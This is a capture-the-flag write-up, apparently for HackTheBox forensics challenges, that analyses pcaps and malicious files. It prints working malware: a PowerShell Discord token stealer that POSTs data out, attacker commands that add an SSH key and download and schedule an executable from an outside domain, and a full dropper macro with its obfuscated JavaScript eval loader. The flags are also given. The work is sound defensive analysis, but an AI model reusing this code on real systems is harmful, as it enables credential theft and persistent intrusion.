'User-Agent' = 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Edge/91.0.864.48 Safari/537.36'
}
$allTokens = @()
foreach ($platform in $paths.Keys) {
$currentPath = $paths[$platform]
if (-not (Test-Path $currentPath -PathType Container)) {continue}
$tokens = Steal -path $currentPath
$allTokens += $tokens
}
$userInfos = @()
foreach ($token in $allTokens) {
$userInfo = Get-DiscordUserInfo -Token $token
if ($userInfo) {
$userDetails = [PSCustomObject]@{
ID = $userInfo.id
Email = $userInfo.email
GlobalName = $userInfo.global_name
Token = $token
}
$userInfos += $userDetails
}
}
$AES_KEY = "Y1dwaHJOVGs5d2dXWjkzdDE5amF5cW5sYUR1SWVGS2k="
$payload = $userInfos | ConvertTo-Json -Depth 10
$encryptedData = Encrypt-String -key $AES_KEY -plaintext $payload
try {
$headers = @{
'Content-Type' = 'text/plain'
'User-Agent' = 'Mozilla/5.0'
}
Invoke-RestMethod -Uri $URL -Method Post -Headers $headers -Body $encryptedData
}
catch {}
Write-Host "Success! Discord Nitro Keys:"
$keys = GenerateDiscordNitroCodes -numberOfCodes 5 -codeLength 16
$keys | ForEach-Object { Write-Output $_ }
The first part: $part1 = "SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf"
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└─$ echo SFRCe2ZyMzNfTjE3cjBHM25fM3hwMDUzZCFf | base64 --decode
HTB{fr33_N17r0G3n_3xp053d!_
Reading the code, it seems that an AES key can also be found encoded in base64. At this point I was stuck but my teammate @Miracle0604 mentioned that the malicious file actually steals the victim’s infomation and encrypt it with AES, so the information might be sent back to the attacker in the pcap. Filtering by http.request.method==POST, we can find the encrypted data on TCP stream 48 and decrypting it gives us the user credentials.
The second part: "Email": "YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9",
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└─$ echo YjNXNHIzXzBmX1QwMF9nMDBkXzJfYjNfN3J1M18wZmYzcjV9 | base64 --decode
b3W4r3_0f_T00_g00d_2_b3_7ru3_0ff3r5}
Data Siege [Forensics]
Question: “It was a tranquil night in the Phreaks headquarters, when the entire district erupted in chaos. Unknown assailants, rumored to be a rogue foreign faction, have infiltrated the city’s messaging system and critical infrastructure. Garbled transmissions crackle through the airwaves, spewing misinformation and disrupting communication channels. We need to understand which data has been obtained from this attack to reclaim control of the and communication backbone. Note: flag is splitted in three parts.”
Flag: HTB{c0mmun1c4710n5_h45_b33n_r3570r3d_1n_7h3_h34dqu4r73r5}
We are given a pcap file again. Analyzing the HTTP packets, we can find a malicious exe file and another weird data file.
Exporting them, I checked the malicious exe file on VirusTotal and found out it was actually called EZRATClient.exe and it is .NET-based.
So I had to use dnSpy to decompile the malicious exe file and found an encryption and decryption method within the Program class. Additionally, the encryption key can also be found in the Constantes class.
Thinking that this could be similar to previous challenges, I checked the pcap again to find several encrypted strings in TCP stream 5. So I modified the decryption method by adding the encryption key and made a new C# script. Using an online compiler, I used the script to decrypt each string in the TCP stream.
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using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
public class Program
{
public static void Main(string[] args)
{
Console.WriteLine("Enter the encrypted text:");
string encryptedText = Console.ReadLine().Trim();
// Decrypt the encrypted text
string decryptedText = Decrypt(encryptedText);
// Display the result
Console.WriteLine("Decrypted Text: " + decryptedText);
}
public static string Decrypt(string cipherText)
{
string result;
try
{
string key = "VYAemVeO3zUDTL6N62kVA"; // Add the key
byte[] array = Convert.FromBase64String(cipherText);
using (Aes aes = Aes.Create())
{
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(key, new byte[]
{
86, 101, 114, 121, 95, 83, 51, 99, 114, 51, 116, 95, 83
});
aes.Key = rfc2898DeriveBytes.GetBytes(32);
aes.IV = rfc2898DeriveBytes.GetBytes(16);
using (MemoryStream memoryStream = new MemoryStream())
{
using (CryptoStream cryptoStream = new CryptoStream(memoryStream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cryptoStream.Write(array, 0, array.Length);
}
cipherText = Encoding.Default.GetString(memoryStream.ToArray());
}
}
result = cipherText;
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
Console.WriteLine("Cipher Text: " + cipherText);
result = "error";
}
return result;
}
}
The first part:
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Enter the encrypted text: ZKlcDuS6syl4/w1JGgzkYxeaGTSooLkoI62mUeJh4hZgRRytOHq8obQ7o133pBW7BilbKoUuKeTvXi/2fmd4v+gOO/E6A0DGMWiW2+XZ+lkDa97VsbxXAwm0zhunRyBXHuo8TFbQ3wFkFtA3SBFDe+LRYQFB/Kzk/HX/EomfOj2aDYRGYBCHiGS70BiIC/gyNOW6m0xTu1oZx90SCoFel95v+vi8I8rQ1N6Dy/GPMuhcSWAJ8M9Q2N7fVEz92HWYoi8K5Zvge/7REg/5GKT4pu7KnnFCKNrTp9AqUoPuHm0cWy9J6ZxqwuOXTR8LzbwbmXohANtTGso6Dqbih7aai57uVAktF3/uK5nN7EgMSC0ZsUclzPZjm0r4ITE2HtBrRXJ78cUfIbxd+dIDBGts7IuDfjr0qyXuuzw+5o8pvKkTemvTcNXzNQbSWj+5tTxxly0Kgxi5MVT0ecyJfNfdZG0slqYHKaqJCZm6ShfvGRFsglKmenBB274sBdkVqIRtodB8dD1AM1ZQQX1MBMGDeCwFqc+ahch0x375U6Ekmvf2fzCZ/IaHOHBc8p5se1oNMRbIqcJaundh5cuYL/h8p/NPVTK9veu3Qihy310wkjg=
Decrypted Text: cmd;C:\;echo ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCwyPZCQyJ/s45lt+cRqPhJj5qrSqd8cvhUaDhwsAemRey2r7Ta+wLtkWZobVIFS4HGzRobAw9s3hmFaCKI8GvfgMsxDSmb0bZcAAkl7cMzhA1F418CLlghANAPFM6Aud7DlJZUtJnN2BiTqbrjPmBuTKeBxjtI0uRTXt4JvpDKx9aCMNEDKGcKVz0KX/hejjR/Xy0nJxHWKgudEz3je31cVow6kKqp3ZUxzZz9BQlxU5kRp4yhUUxo3Fbomo6IsmBydqQdB+LbHGURUFLYWlWEy+1otr6JBwpAfzwZOYVEfLypl3Sjg+S6Fd1cH6jBJp/mG2R2zqCKt3jaWH5SJz13 HTB{c0mmun1c4710n5 >> C:\Users\svc01\.ssh\authorized_keys
The second part:
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Enter the encrypted text: zVmhuROwQw02oztmJNCvd2v8wXTNUWmU3zkKDpUBqUON+hKOocQYLG0pOhERLdHDS+yw3KU6RD9Y4LDBjgKeQnjml4XQMYhl6AFyjBOJpA4UEo2fALsqvbU4Doyb/gtg
Decrypted Text: cmd;C:\;Username: svc01
Password: Passw0rdCorp5421
2nd flag part: _h45_b33n_r357
For the third part, it was just encoded with base64 so the script was not required.
The third part:
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(New-Object System.Net.WebClient).DownloadFile("https://windowsliveupdater.com/4fva.exe", "C:\Users\svc01\AppData\Roaming\4fva.exe")
$action = New-ScheduledTaskAction -Execute "C:\Users\svc01\AppData\Roaming\4fva.exe"
$trigger = New-ScheduledTaskTrigger -Daily -At 2:00AM
$settings = New-ScheduledTaskSettingsSet
# 3th flag part:
Register-ScheduledTask -TaskName "0r3d_1n_7h3_h34dqu4r73r5}" -Action $action -Trigger $trigger -Settings $settings
Phreaky [Forensics]
Question: In the shadowed realm where the Phreaks hold sway, A mole lurks within, leading them astray. Sending keys to the Talents, so sly and so slick, A network packet capture must reveal the trick. Through data and bytes, the sleuth seeks the sign, Decrypting messages, crossing the line. The traitor unveiled, with nowhere to hide, Betrayal confirmed, they’d no longer abide.
Flag: HTB{Th3Phr3aksReadyT0Att4ck}
We are given yet another pcap file. Analyzing it, it seems that there are several TCP, HTTP and SMTP packets. Going through the files, it seems that zip files were being sent in several parts between two users via email. So I extracted each email one by one and extracted the attachments from each of them (not recommended, make a script please).
After extracting every zip file and their content, we have multiple parts of a pdf file.
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└─$ file *
phreaks_plan.pdf: data
phreaks_plan.pdf.part2: data
phreaks_plan.pdf.part3: data
phreaks_plan.pdf.part4: data
phreaks_plan.pdf.part5: data
phreaks_plan.pdf.part6: data
phreaks_plan.pdf.part7: data
phreaks_plan.pdf.part8: data
phreaks_plan.pdf.part9: data
phreaks_plan.pdf.part10: OpenPGP Secret Key
phreaks_plan.pdf.part11: data
phreaks_plan.pdf.part12: ASCII text
phreaks_plan.pdf.part13: ASCII text
phreaks_plan.pdf.part14: ASCII text
phreaks_plan.pdf.part15: ASCII text
So I made a script to merge the data together into one complete pdf file. Since there were binary and ASCII data, the script must append the binary file into the ASCII parts to actually form the pdf file. However, the pdf can only be viewed on Linux because PyPDF does not look for magic bytes unlike other PDF software.
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import subprocess
# Define the output file name
output_file = "phreaks_plan.pdf"
# Open the output file in binary append mode
with open(output_file, "ab") as output_pdf:
# Concatenate binary parts directly into the output file
for i in range(2, 16):
part_filename = f"phreaks_plan.pdf.part{i}"
file_type = subprocess.run(["file", part_filename], capture_output=True, text=True, shell=True)
# Check if the file is binary
if "ASCII" not in file_type.stdout:
with open(part_filename, "rb") as binary_file:
output_pdf.write(binary_file.read())
print("Merging completed. Output file:", output_file)
Game Invitation [Forensics]
Question: In the bustling city of KORP™, where factions vie in The Fray, a mysterious game emerges. As a seasoned faction member, you feel the tension growing by the minute. Whispers spread of a new challenge, piquing both curiosity and wariness. Then, an email arrives: “Join The Fray: Embrace the Challenge.” But lurking beneath the excitement is a nagging doubt. Could this invitation hide something more sinister within its innocent attachment?
Flag: HTB{m4ld0cs_4r3_g3tt1ng_Tr1cki13r}
We are given a .docm file which could suggest a macro-enabled Word documenet file. Using oledump, the macro can be dumped for further investigation.
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PS C:\Users\ooiro\Desktop\oledump_V0_0_75> python .\oledump.py C:\Users\ooiro\Downloads\forensics_game_invitation\invitation.docm
C:\Users\ooiro\Desktop\oledump_V0_0_75\oledump.py:186: SyntaxWarning: invalid escape sequence '\D'
manual = '''
A: word/vbaProject.bin
A1: 424 'PROJECT'
A2: 71 'PROJECTwm'
A3: M 5275 'VBA/NewMacros'
A4: m 946 'VBA/ThisDocument'
A5: 3611 'VBA/_VBA_PROJECT'
A6: 571 'VBA/dir'
Macro:
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Public IAiiymixt As String
Public kWXlyKwVj As String
Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = TRUE
End Function
Sub AutoClose() 'delete the js script'
On Error Resume Next
Kill IAiiymixt
On Error Resume Next
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
aMUsvgOin.DeleteFile kWXlyKwVj & "\*.*", TRUE
Set aMUsvgOin = Nothing
End Sub
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "GAMEMASTERS.local"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
Reading the macro, there seems to be two important Sub procedures: AutoClose() and AutoOpen(). After reading the macro for 2 hours (no joke), I can briefly understand its functions.
- XOR Key Generation: The program generates a XOR key for encryption.
- AutoClose(): Occurs when the ueser closes the document. It removes a JavaScript file from the system.
- AutoOpen(): Occurs when the user opens the document. It verifies if the user’s domain matches “GAMEMASTERS.local”. If it does, the program reads the document content into a binary array which is converted again into a Unicode string. The program then uses a regular expression to search for a specific pattern within the content.
- Encryption: If the pattern is found, a portion of the document content is encrypted using the XOR key generated earlier.
- File Dropping: The program also drops a JavaScript file to the
%APPDATA%\Microsoft\Windows\path.
TL;DR: it seems that the macro has to be slightly modified so the Javascript file can be dropped properly into the path. I modified the domain name to match my own domain name “ROGLAPTOP” and made sure the Javascript file is decrypted first before dropping it to my Downloads directory. I also removed the AutoClose() procedure so the Javascript file will not be deleted after closing the Word document.
Modified Macro:
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Public IAiiymixt As String
Public kWXlyKwVj As String
Function JFqcfEGnc(given_string() As Byte, length As Long) As Boolean
Dim xor_key As Byte
xor_key = 45
For i = 0 To length - 1
given_string(i) = given_string(i) Xor xor_key
xor_key = ((xor_key Xor 99) Xor (i Mod 254))
Next i
JFqcfEGnc = TRUE
End Function
Sub AutoOpen()
On Error GoTo MnOWqnnpKXfRO
Dim chkDomain As String
Dim strUserDomain As String
chkDomain = "ROGLAPTOP"
strUserDomain = Environ$("UserDomain")
If chkDomain <> strUserDomain Then
Else
Dim gIvqmZwiW
Dim file_length As Long
Dim length As Long
file_length = FileLen(ActiveDocument.FullName)
gIvqmZwiW = FreeFile
Open (ActiveDocument.FullName) For Binary As #gIvqmZwiW
Dim CbkQJVeAG() As Byte
ReDim CbkQJVeAG(file_length)
Get #gIvqmZwiW, 1, CbkQJVeAG
Dim SwMbxtWpP As String
SwMbxtWpP = StrConv(CbkQJVeAG, vbUnicode)
Dim N34rtRBIU3yJO2cmMVu, I4j833DS5SFd34L3gwYQD
Dim vTxAnSEFH
Set vTxAnSEFH = CreateObject("vbscript.regexp")
vTxAnSEFH.Pattern = "sWcDWp36x5oIe2hJGnRy1iC92AcdQgO8RLioVZWlhCKJXHRSqO450AiqLZyLFeXYilCtorg0p3RdaoPa"
Set I4j833DS5SFd34L3gwYQD = vTxAnSEFH.Execute(SwMbxtWpP)
Dim Y5t4Ul7o385qK4YDhr
If I4j833DS5SFd34L3gwYQD.Count = 0 Then
GoTo MnOWqnnpKXfRO
End If
For Each N34rtRBIU3yJO2cmMVu In I4j833DS5SFd34L3gwYQD
Y5t4Ul7o385qK4YDhr = N34rtRBIU3yJO2cmMVu.FirstIndex
Exit For
Next
Dim Wk4o3X7x1134j() As Byte
Dim KDXl18qY4rcT As Long
KDXl18qY4rcT = 13082
ReDim Wk4o3X7x1134j(KDXl18qY4rcT)
Get #gIvqmZwiW, Y5t4Ul7o385qK4YDhr + 81, Wk4o3X7x1134j
If Not JFqcfEGnc(Wk4o3X7x1134j(), KDXl18qY4rcT + 1) Then
GoTo MnOWqnnpKXfRO
End If
kWXlyKwVj = Environ("appdata") & "\Microsoft\Windows"
Set aMUsvgOin = CreateObject("Scripting.FileSystemObject")
If Not aMUsvgOin.FolderExists(kWXlyKwVj) Then
kWXlyKwVj = Environ("appdata")
End If
Set aMUsvgOin = Nothing
Dim K764B5Ph46Vh
K764B5Ph46Vh = FreeFile
IAiiymixt = kWXlyKwVj & "\" & "mailform.js"
Open (IAiiymixt) For Binary As #K764B5Ph46Vh
Put #K764B5Ph46Vh, 1, Wk4o3X7x1134j
Close #K764B5Ph46Vh
Erase Wk4o3X7x1134j
Set R66BpJMgxXBo2h = CreateObject("WScript.Shell")
R66BpJMgxXBo2h.Run """" + IAiiymixt + """" + " vF8rdgMHKBrvCoCp0ulm"
ActiveDocument.Save
Exit Sub
MnOWqnnpKXfRO:
Close #K764B5Ph46Vh
ActiveDocument.Save
End If
End Sub
Next, the decrypted Javascript file seems to have a ciphertext assigned to variable r which is encoded with base64 and an encryption method. However, a key was needed to decrypt the ciphertext. Reading the code, the WScript.Arguments seems like it was calling arguments from another script (possibly the macro).
Javascript file:
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var lVky = WScript.Arguments;
var DASz = lVky(0);
var Iwlh = lyEK();
Iwlh = JrvS(Iwlh);
Iwlh = xR68(DASz, Iwlh);
eval(Iwlh);
function af5Q(r) {
var a = r.charCodeAt(0);
if (a === 43 || a === 45) return 62;
if (a === 47 || a === 95) return 63;
if (a < 48) return -1;
if (a < 48 + 10) return a - 48 + 26 + 26;
if (a < 65 + 26) return a - 65;
if (a < 97 + 26) return a - 97 + 26
}
function JrvS(r) {
var a = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
var t;
var l;
var h;
if (r.length % 4 > 0) return;
var u = r.length;
var g = r.charAt(u - 2) === "=" ? 2 : r.charAt(u - 1) === "=" ? 1 : 0;
var n = new Array(r.length * 3 / 4 - g);
var i = g > 0 ? r.length - 4 : r.length;
var z = 0;
function b(r) {
n[z++] = r
}
for (t = 0, l = 0; t < i; t += 4, l += 3) {
h = af5Q(r.charAt(t)) << 18 | af5Q(r.charAt(t + 1)) << 12 | af5Q(r.charAt(t + 2)) << 6 | af5Q(r.charAt(t + 3));
b((h & 16711680) >> 16);
b((h & 65280) >> 8);
b(h & 255)
}
if (g === 2) {
h = af5Q(r.charAt(t)) << 2 | af5Q(r.charAt(t + 1)) >> 4;
b(h & 255)
} else if (g === 1) {
h = af5Q(r.charAt(t)) << 10 | af5Q(r.charAt(t + 1)) << 4 | af5Q(r.charAt(t + 2)) >> 2;
b(h >> 8 & 255);
b(h & 255)
}
return n
}
function xR68(r, a) {
var t = [];
var l = 0;
var h;
var u = "";
for (var g = 0; g < 256; g++) {
t[g] = g
}
for (var g = 0; g < 256; g++) {
l = (l + t[g] + r.charCodeAt(g % r.length)) % 256;
h = t[g];
t[g] = t[l];
t[l] = h
}
var g = 0;
var l = 0;
for (var n = 0; n < a.length; n++) {
g = (g + 1) % 256;
l = (l + t[g]) % 256;
h = t[g];
t[g] = t[l];
t[l] = h;
u += String.fromCharCode(a[n] ^ t[(t[g] + t[l]) % 256])
}
return u
}
function lyEK() {
var r = "cxbDXRuOhlNrpkxS7FWQ5G5jUC+Ria6llsmU8nPMP1NDC1Ueoj5ZEbmFzUbxtqM5UW2+nj/Ke2IDGJqT5CjjAofAfU3kWSeVgzHOI5nsEaf9BbHyN9VvrXTU3UVBQcyXOH9TrrEQHYHzZsq2htu+RnifJExdtHDhMYSBCuqyNcfq8+txpcyX/aKKAblyh6IL75+/rthbYi/Htv9JjAFbf5UZcOhvNntdNFbMl9nSSThI+3AqAmM1l98brRA0MwNd6rR2l4Igdw6TIF4HrkY/edWuE5IuLHcbSX1J4UrHs3OLjsvR01lAC7VJjIgE5K8imIH4dD+KDbm4P3Ozhrai7ckNw88mzPfjjeBXBUjmMvqvwAmxxRK9CLyp+l6N4wtgjWfnIvnrOS0IsatJMScgEHb5KPys8HqJUhcL8yN1HKIUDMeL07eT/oMuDKR0tJbbkcHz6t/483K88VEn+Jrjm7DRYisfb5cE95flC7RYIHJl992cuHIKg0yk2EQpjVsLetvvSTg2DGQ40OLWRWZMfmOdM2Wlclpo+MYdrrvEcBsmw44RUG3J50BnQb7ZI+pop50NDCXRuYPe0ZmSfi+Sh76bV1zb6dScwUtvEpGAzPNS3Z6h7020afYL0VL5vkp4Vb87oiV6vsBlG4Sz5NSaqUH4q+Vy0U/IZ5PIXSRBsbrAM8mCV54tHV51X5qwjxbyv4wFYeZI72cTOgkW6rgGw/nxnoe+tGhHYk6U8AR02XhD1oc+6lt3Zzo/bQYk9PuaVm/Zq9XzFfHslQ3fDNj55MRZCicQcaa2YPUb6aiYamL81bzcogllzYtGLs+sIklr9R5TnpioB+KY/LCK1FyGaGC9KjlnKyp3YHTqS3lF0/LQKkB4kVf+JrmB3EydTprUHJI1gOaLaUrIjGxjzVJ0DbTkXwXsusM6xeAEV3Rurg0Owa+li6tAurFOK5vJaeqQDDqj+6mGzTNNRpAKBH/VziBmOL8uvYBRuKO4RESkRzWKhvYw0XsgSQN6NP7nY8IcdcYrjXcPeRfEhASR8OEQJsj759mE/gziHothAJE/hj8TjTF1wS7znVDR69q/OmTOcSzJxx3GkIrIDDYFLTWDf0b++rkRmR+0BXngjdMJkZdeQCr3N2uWwpYtj1s5PaI4M2uqskNP2GeHW3Wrw5q4/l9CZTEnmgSh3Ogrh9F1YcHFL92gUq0XO6c9MxIQbEqeDXMl7b9FcWk/WPMT+yJvVhhx+eiLiKl4XaSXzWFoGdzIBv8ymEMDYBbfSWphhK5LUnsDtKk1T5/53rnNvUOHurVtnzmNsRhdMYlMo8ZwGlxktceDyzWpWOd6I2UdKcrBFhhBLL2HZbGadhIn3kUpowFVmqteGvseCT4WcNDyulr8y9rIJo4euPuwBajAhmDhHR3IrEJIwXzuVZlw/5yy01AHxutm0sM7ks0Wzo6o03kR/9q4oHyIt524B8YYB1aCU4qdi7Q3YFm/XRJgOCAt/wakaZbTUtuwcrp4zfzaB5siWpdRenck5Z2wp3gKhYoFROJ44vuWUQW2DE4HeX8WnHFlWp4Na9hhDgfhs0oUHl/JWSrn04nvPl9pAIjV/l6zwnb1WiLYqg4FEn+15H2DMj5YSsFRK58/Ph7ZaET+suDbuDhmmY/MZqLdHCDKgkzUzO4i5Xh0sASnELaYqFDlEgsiDYFuLJg84roOognapgtGQ19eNBOmaG3wQagAndJqFnxu0w4z7xyUpL3bOEjkgyZHSIEjGrMYwBzcUTg0ZLfwvfuiFH0L931rEvir7F9IPo4BoeOB6TA/Y0sVup3akFvgcdbSPo8Q8TRL3ZnDW31zd3oCLUrjGwmyD6zb9wC0yrkwbmL6D18+E5M41n7P3GRmY+t6Iwjc0ZLs72EA2Oqj5z40PDKv6yOayAnxg3ug2biYHPnkPJaPOZ3mK4FJdg0ab3qWa6+rh9ze+jiqllRLDptiNdV6bVhAbUGnvNVwhGOU4YvXssbsNn5MS9E1Tgd8wR+fpoUdzvJ7QmJh5hx5qyOn1LHDAtXmCYld0cZj1bCo+UBgxT6e6U04kUcic2B4rbArAXVu8yN8p+lQebyBAixdrB0ZsJJtu1Eq+wm6sjQhXvKG1rIFsX2U2h4zoFJKZZOhaprXR0pJYtzEHovbZ1WBINpcIqyY885ysht3VB6/xcfHYm81gn64HXy7q7sVfKtgrpIKMWt61HGsfgCS5mQZlkuwEgFRdHMHMqEf/yjDx4JKFtXJJl0Ab4RYU1JEfxDm+ZpROG1691YHRPt6iv5O3l1lJr7LZIArxIFosZwJeZ/3HObyD4wxz4v7w+snZJKkBFt/1ul2dq3dFa1A/xkJfLDXkwMZEhYqkGzKUvqou0NI7gR/F9TDuhhc1inMRrxw+yr89DIQ+iIq2uo/EP13exLhnSwJrys8lbGlaOm0dgKp4tlfKNOtWIH2fJZw3dnsSKXxXsCF5pLZfiP8sAKPNj9SO58S0RSnVCPeJNizxtcaAeY0oav2iVHcWX8BdpeSj21rOltATQXwmHmjbwWREM92MfVJ+K7Iu6XYKhPNTv8m8ZvNiEWKKudbZe6Nakyh710p0BEYyhqIKR+lnCDEVeL9/F/h/beMy4h/IYWC04+8/nRtIRg5dAQWjz6FLBwv1PL6g+xHj8JGN0bXwCZ+Aenx/DLmcmKs91i8S+DY5vXvHjPeVzaK/Kjn9V2l9+TCvt7KjNxhNh0w09n0QM5cjfnCvlNMK43v2pjDx0Fkt+RcT6FhiEBgC+0og3Rp2Bn67jW3lXJ54oddHkmfrpQ3W+XPW6dI4BJgumiXKImLQYZ7/etAJzz8DqFg/7ABH2KvX4FdJpptsCsKDxV3lWJQMaiAGwrxpY9wCVoUNbZgtKxkOgpnVoX4NhxY7bNg+nWOtHLBTuzcvUdha/j6QYCIC6GW4246llEnZVNgqigoBWKtWTa94isV/Nst4s1y1LYWR5ZlSgBzgUF7TmRVv2zS8li+j7PQSgKygP3HA6ae6BoXihsWsL+7rSKe0WU8FUi17FUm9ncqkBRqnmHt+4TtfUQdG8Uqy7vOYJqaqj8bB+aBsXDOyRcp4kb7Vv0oFO6L4e77uQcj8LYlDSG0foH//DGnfQSXoCbG35u0EgsxRtXxS/pPxYvHdPwRi+l9R6ivkm4nOxwFKpjvdwD9qBOrXnH99chyClFQWN6HH2RHVf4QWVJvU9xHbCVPFw3fjnT1Wn67LKnjuUw2+SS3QQtEnW2hOBwKtL2FgNUCb9MvHnK0LBswB/+3CbV+Mr1jCpua5GzjHxdWF4RhQ0yVZPMn0y2Hw9TBzBRSE9LWGCoXOeHMckMlEY0urrc6NBbG9SnTmgmifE+7SiOmMHfjj7cT/Z1UwqDqOp+iJZNWfDzcoWcz9kcy4XFvxrVNLWXzorsEB2wN3QcFCxpfTHVSFGdz7L00eS8t5cVLMPjlcmdUUR+J+1/7Cv3b87OyLe8vDZZMlVRuRM5VjuJ7FgncGSn4/0Q8rczXkaRXWNJpv0y9Cw8RmGhtixY2Rv2695BOm+djCaQd3wVS8VKWvqMAZgUNoHVq9KrVdU3jrLhZbzb612QelxX8+w8V7HqrNGbbjxa1EVpRl6QAI7tcoMtTxpJkHp4uJ9OBIf9GZOQAfay6ba8QuOjYT6g/g9AV+wCHEv87ChXvlUGx54Cum8wrdN2qFuBWVwBjtrS0dElw3l6Jn9FaYOl7k6pt5jigUQfDbLcJiBXZi25h8/xalRbWrDqvqXwMdpkx5ximSHuzktiMkAoMn3zswxabZMMt0HOZvlAWRIgaN3vNL/MxibxoNPx77hpFzGfkYideDZnjfM+bx2ITQXDmbe4xpxEPseAfFHiomHRQ4IhuBTzGIoF23Zn9o36OFJ9GBd75vhl+0obbrwgsqhcFYFDy5Xmb/LPRbDBPLqN5x/7duKkEDwfIJLYZi9XaZBS/PIYRQSMRcay/ny/3DZPJ3WZnpFF8qcl/n1UbPLg4xczmqVJFeQqk+QsRCprhbo+idw0Qic/6/PixKMM4kRN6femwlha6L2pT1GCrItvoKCSgaZR3jMQ8YxC0tF6VFgXpXz/vrv5xps90bcHi+0PCi+6eDLsw3ZnUZ+r2/972g93gmE41RH1JWz8ZagJg4FvLDOyW4Mw2Lpx3gbQIk9z+1ehR9B5jmmW1M+/LrAHrjjyo3dFUr3GAXH5MmiYMXCXLuQV5LFKjpR0DLyq5Y/bDqAbHfZmcuSKb9RgXs0NrCaZze7C0LSVVaNDrjwK5UskWocIHurCebfqa0IETGiyR0aXYPuRHS1NiNoSi8gI74F/U/uLpzB+Wi8/0AX50bFxgS5L8dU6FQ55XLV+XM2KJUGbdlbL+Purxb3f5NqGphRJpe+/KGRIgJrO9YomxkqzNGBelkbLov/0g5XggpM7/JmoYGAgaT4uPwmNSKWCygpHNMZTHgbhu6aZWA37fmK9L1rbWWzUtNEiZqUfnIuBd62/ARpJWbl1HmNZwW1W4yaSXyxcl91WDKtUHY1BoubEs4VoB2duXysClrBuGrT9yfGIopazta9fD8YErBb89YapssnvNPbmY4uQj8+qQ9lP2xxsgg57bI9QYutPVbCmoRvnXpPijFt1A8d2k7llmpdPrBZEqxDnFSm7KYa4Htor7bRlpxgmM69dPDttwWnVIewjG3GO76LCz6VYY3P12IPQznXCPbEvcmatOTSdc2VjSyEby+SBFBPARg1TovE5rsEhvzaAFv9+p+zhwB+KwozN164UVpMzxoOHtXPEA/JGUT4+mM57Zpf280GS6YWPCKxX4GNmbCFIOMziKo7LjylqfXc3G2XwXELRiuOqrwIaowuqZRd8INnghjrCwb47LERi9QWPpO8Llerdcfu3azZCcduej06XiYa3F5O9AnAU3ZhS3lPropT2aqDIJlbcotHEPVaB4dd3HSTQe75z4RBN1g/lcUNHhJFo3vrEeh87STpJ60S7S1XflsJCJDrMwqKLwSCwpapp7Y6404pwgd9Lt5AQH1AuInyliPSVl2XBW0sulGIEMI/KvMuLsVgVCGb5SOl50pKW5p1c0WkiUvRPTto5iBwS+zEMbBP6A8dViuluQN1fpaFD6AkDryv9VXrIL14tehjO99apJtfQTPk8Ia4jCM+w6QSETJ0b2KMOMwjq3pQKezD0NluOMlahntVQFiayDXu9H8p52Zl23irB1mWv30JpzzB3dtVgQ2CnLqykLANyh9ZJRM/swDKjWzFPA7cd6eomY+kOwOkiV0o2MGHUTeHnxKyUjfXeh3nZPjIxUcSXsO4alPId65SIoR9liIHSH7g01MxaHMf0WwW57zwiCpOBKWl47F2vbrdBrtBWh1ArEj+lu3F3uytfLxCvlug4qkxhZZKIcz5NgjsxUO60Lw+XA3bnl7bIZ5G